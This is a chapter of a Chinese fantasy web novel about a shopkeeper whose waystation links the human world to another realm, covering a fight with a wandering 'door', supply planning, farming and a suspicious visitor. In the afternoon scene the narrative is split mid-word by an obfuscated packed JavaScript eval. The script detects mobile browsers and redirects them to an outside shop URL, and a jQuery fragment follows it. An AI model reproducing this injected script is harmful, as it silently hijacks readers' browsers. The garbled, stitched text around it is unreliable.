那团白光停在院墙外三丈处。
不动了。
光芒里浮出的门轮廓越来越清晰，门缝里往外渗着细碎的冰碴，落在青石板上。
老槐的根须从地底暴起，十几根手腕粗的树根破土而出，在院墙前织成一道栅栏。
他的声音绷的很紧：
“别让它碰到门槛，这东西是界缝里长出来的游门，没有主人，没有意识，只认一个方向...往里钻。”
“钻进来会怎样？”
谢苗问。
“它会把驿站的空间撕开一个口子，不大，但够渊兽伸进一只爪子。”
闻照已经站起来了，他没拔刀，只是把刀鞘横在身前，左手按住鞘口，右手五指扣住鞘尾，谢苗注意到他呼吸压的很浅，胸口绷带下的伤处在微微渗血。
“你不动。”
谢苗说。
闻照看了她一眼。
“我说了你不动。”
谢苗的语气没有商量余地。
“老槐，你能挡住多久？”
“半盏茶。”
老槐额头的青筋跳着，根须扎入土中又深了三寸。
“但只能挡，杀不死它，游门没有实体，得有人从人间这头把门框钉死。”
“怎么钉？”
“门槛。”
老槐咬牙。
“门槛是驿站的地界印，把门槛上的根须抽出来，拍在游门的门框上，它会被弹回夹缝。”
“但我抽了根，后院三天内没有感知，山路那边来什么我都不知道。”
谢苗只犹豫了两秒。
“抽。”
老槐没再废话，他双手往地上一按，嵌在门槛缝隙里的那几根指头粗的根须猛的弹出来，带起一片碎木屑，老槐抄起那截还滴着暗绿汁液的根须，佝偻的身子忽然绷直，朝院墙外那团白光甩了过去。
根须抽在游门门框上，发出一声极尖锐的嘶鸣。
白光炸开。
不是消散，是被弹飞，那扇门轮廓猛往后缩，冰碴碎了一地，光芒拖着一道长长的白痕退回无灯长道深处，越来越小，最终被灰雾吞没。
后院安静下来。
老槐单膝跪在地上，喘的厉害，脸上的褶子里全是汗，他栽在后院的那截根茎，那棵半枯半荣的槐树，叶片哗啦啦掉了一片，枯的那半边又往外扩了两寸。
“三天。”
老槐声音哑了。
“三天之内我是瞎子。”
闻照把刀鞘放下，走回墙角坐下，动作很慢，他没说话，只是把刀重新横在膝上，闭着眼养神。
水玲抱着孩子蹲在仓房门口，脸白的没有血色，但没哭也没喊，她只是把孩子抱的更紧了些。
谢苗站在后院中央，看着地上散落的冰碴正在融化，化成一小滩水痕，水痕里映着灰蒙蒙的天。
“这东西以后还会来？”
她问。
老槐没抬头。
“封印每松一分，夹缝里的游门就多一个，今晚是第一个。”
谢苗没再问，她转身回了屋里，把后门关上。
...
天亮之后，谢苗没补觉。
她坐在柜台后面，摊开一个硬皮笔记本，拿圆珠笔开始写字。
不是记账，是列清单。
昨晚到现在，她接待了阿满、闻照、水玲，她把每一笔交易拆开，把客人需要的东西一项项写下来。
盐，退烧药，消炎药，碘伏，纱布，火腿肠，泡面，白糖，打火机，手电筒。
写到这里她停了一下，又添了一行：铁锹。
水玲翻地用的那把。
然后她翻到新的一页，标题写了四个字：长期需求。
底下列：
一、药品类。退烧、消炎、外伤处理、肠胃。用量大，但人间采购有限制，不能一次买太多，得分批、分店、分时间。
二、食物类。盐、糖、压缩饼干、挂面、罐头。热量高、耐存放、不需要烹饪条件。归墟界灵火难燃，能直接吃的东西比需要煮的值钱。
三、工具类。打火机、电池、手电筒、绳索、铁器。那边没有电，照明和生火是刚需。
四、布料类。棉衣、棉被、绷带。归墟界入冬之后流民冻死的多。
她写完，盯着清单看了很久，在底下画了条线，写：进货渠道必须合法，量不能反常，药品走多家小药店分散买，粮油走批发市场，工具走五金店。不能让人间这边起疑。
笔尖顿了顿，她又加了一句：异界换来的东西，金器走打金铺，药材和菌菇必须先检测再出手，不能直接上网卖。
合上本子，谢苗揉了揉眉心。
厨房那边传来动静，闻照在煮粥，米是昨晚泡上的，这会儿咕嘟咕嘟冒着小泡，他左手搅锅，右手拿着勺子撇浮沫，动作很轻，怕吵醒仓房那边刚睡着的孩子。
谢苗走过去，靠在门框上。
“你手怎么样？”
闻照没回头。
“不碍事。”
“我问你虎口。”
“结了痂。”
“那别搅了，我来。”
闻照把勺子递给她，退到一边，他靠着灶台，低头看谢苗搅粥，忽然说了句：
“你昨晚让水玲翻地抵住宿费，想法不错。”
谢苗头也没抬。
“规矩是死的，人是活的，驿站要的是等价，不是赶尽杀绝。”
闻照安静了一会儿。
“在归墟界，没有驿站收留流民，烬川城的做法是把走不动的扔在城外。”
谢苗搅粥的手停了一下。
“所以我这儿不是烬川城。”
她说。
“粥好了，叫水玲来吃。”
...
上午十点，谢苗带着水玲去了后院那块空地。
老槐坐在院墙根底下打盹，根须收回了大半，那棵槐树看着比昨天又枯了一些，水玲的孩子裹在旧棉被里，放在仓房门口的阴影下，睡的小脸红扑扑。
“这块地荒了不少年，土硬，得先翻一遍。”
谢苗把铁锹递给水玲。
“你昨晚翻了一半，剩下这半边今天弄完。”
水玲接过铁锹，点头，卷起袖子就挖，她干活很卖力，一锹下去恨不得把土翻出花来。
“别使蛮力。”
谢苗按住她锹柄。
“你这样挖半个时辰腰就废了，脚踩这里，借体重压下去，锹不用抬太高，翻起来就行。”
水玲愣了一下，照做，果然省力许多。
“你以前种过地？”
谢苗问。
“种过。”
水玲声音很轻。
“青蘅原，我娘家种粟米，后来地裂了，粟米长不出来，就再没种过。”
谢苗没接这话，从旁边拿了把小锄头，蹲下来刨土。
“这边入春之后能种的东西不少，小白菜、萝卜、葱、蒜苗，都好活。”
“你先学着，等土松了，我教你育苗。”
水玲看着她蹲在地上刨土的样子，嘴唇动了动。
“店主，你……也种地？”
“我开山货铺的，不种地哪来的货卖。”
谢苗把一块石头从土里抠出来，扔到墙根。
“白天种菜，晚上开店，中间还得跑县城补货，你要是不想白吃白住，以后后院这块菜地归你。”
水玲眼眶红了一下，低下头，用力点了点头。
...
下午，谢苗在柜台后面盘库存，手机响了，是青溪县批发市场的老板娘。
“小谢，你问的那批保温杯，我给你找到了，不锈钢的，二十四一个，五十个起拿。”
“行，先拿五十个，再帮我看看有没有那种最便宜的棉手套，工地上用的那种，我要两百双。”
“你这是……”
“搞团购。”
谢苗面不改色。
“山里入冬早，给附近几个工地备的。”
挂了电话，她在笔记本上又添了一行：保
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17898658|212903||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
温杯、棉手套。归墟界没有暖气，流民在长道里走一夜，手脚冻烂是常事。
写到一半，前店的卷帘门被人敲了两下。
谢苗抬头。
门外站着老村长，身后还跟了个穿冲锋衣的中年男人，戴眼镜，手里拿着个本子，看样子是来搞调研的。
“丫头，这是县里来的，说搞什么乡村文旅考察，来这里看看。”
村长磕了磕烟袋。
“我寻思你这边是旧驿道，就领过来了。”
谢苗放下笔，站起来，脸上挂了个笑。
“您好，看什么？”
那中年男人推了推眼镜，目光越过谢苗，往店里扫了一圈，落在后院那扇关着的门上。
“你这后头，是不是有条旧道？”
谢苗的笑没变。
“有，废弃的驿道，走不通了，全是碎石和荆棘。”
男人在本子上记了一笔，又问：
“这屋子多少年了？”
“不清楚，我买的时候就这样。”
“有没有什么……老物件？碑刻、牌匾之类的？”
谢苗心里那根弦绷了一下，她想起柜台后面那块旧木板，想起门槛下面老槐的根须，想起后院那棵半枯半荣的槐树。
“没有。”
她说。
“就一间破铺子，您要是搞文旅开发，建议去隔壁镇，那边有保存完好的古村落。”
男人又看了两眼，没再追问，跟着村长走了。
谢苗站在门口，看着两人的背影消失在山路拐弯处，脸上的笑慢慢收了。
她转身回了柜台，把笔记本合上，塞进抽屉最里面。
...
傍晚，闻照在劈柴。
斧头落下去，木柴裂开，码的整整齐齐，他劈了整整一下午，仓房门口堆了小半垛，谢苗从二楼下来，看见他后背的棉T恤湿了一片，绷带边缘又渗出了淡淡的粉。
“够了。”
她说。
“柴够烧一个月了。”
闻照把斧头插在木墩上，没停，又劈了一块。
“闻照。”
他这才停下来，转过身。
谢苗走过去，把他手里的斧头抽走，放在一边。
“你伤口在渗。”
“皮肉伤。”
“皮肉伤也给我坐着。”
谢苗指了指台阶。
“去，坐着，我给你换药。”
闻照看了她两秒，没犟，走过去在台阶上坐下，谢苗回屋拿了碘伏和新纱布出来，蹲在他面前，把他胸口那圈旧绷带一层层解开。
伤口比昨天好了些，黑纹没有再蔓延，但创面还是狰狞，新长的肉粉嫩嫩的，看着就疼。
“疼就说。”
谢苗拿棉签蘸碘伏。
“不疼。”
棉签碰上去，闻照腹肌绷了一下。
谢苗没抬头。
“骗人。”
闻照没吭声，耳根有点红。
谢苗把新纱布缠上去，系好，站起来拍了拍膝盖上的土。
“明天别劈柴了，去把后院那块地的边整一整，水玲一个人弄不完。”
“好。”
谢苗转身要走，闻照忽然开口。
“谢苗。”
她回头。
闻照坐在台阶上，逆着傍晚的光，脸上伤痕深深浅浅，他看着她，嘴唇动了一下，在斟酌措辞。
“今天那个来考察的人，”
他说。
“他看后院那扇门的时候，瞳孔缩了一下。”
谢苗脚步顿住。
“他认识那扇门。”
闻照说。
“或者说，有人告诉过他，要专门看那扇门。”
山风从夜渡岭上吹下来，带着草木和泥土的气息，谢苗站在原地，手指慢慢收紧。
后院里，那棵老槐树的枯枝在风中轻轻晃了一下。
老槐还在睡。
他说过，三天之内，他是瞎子。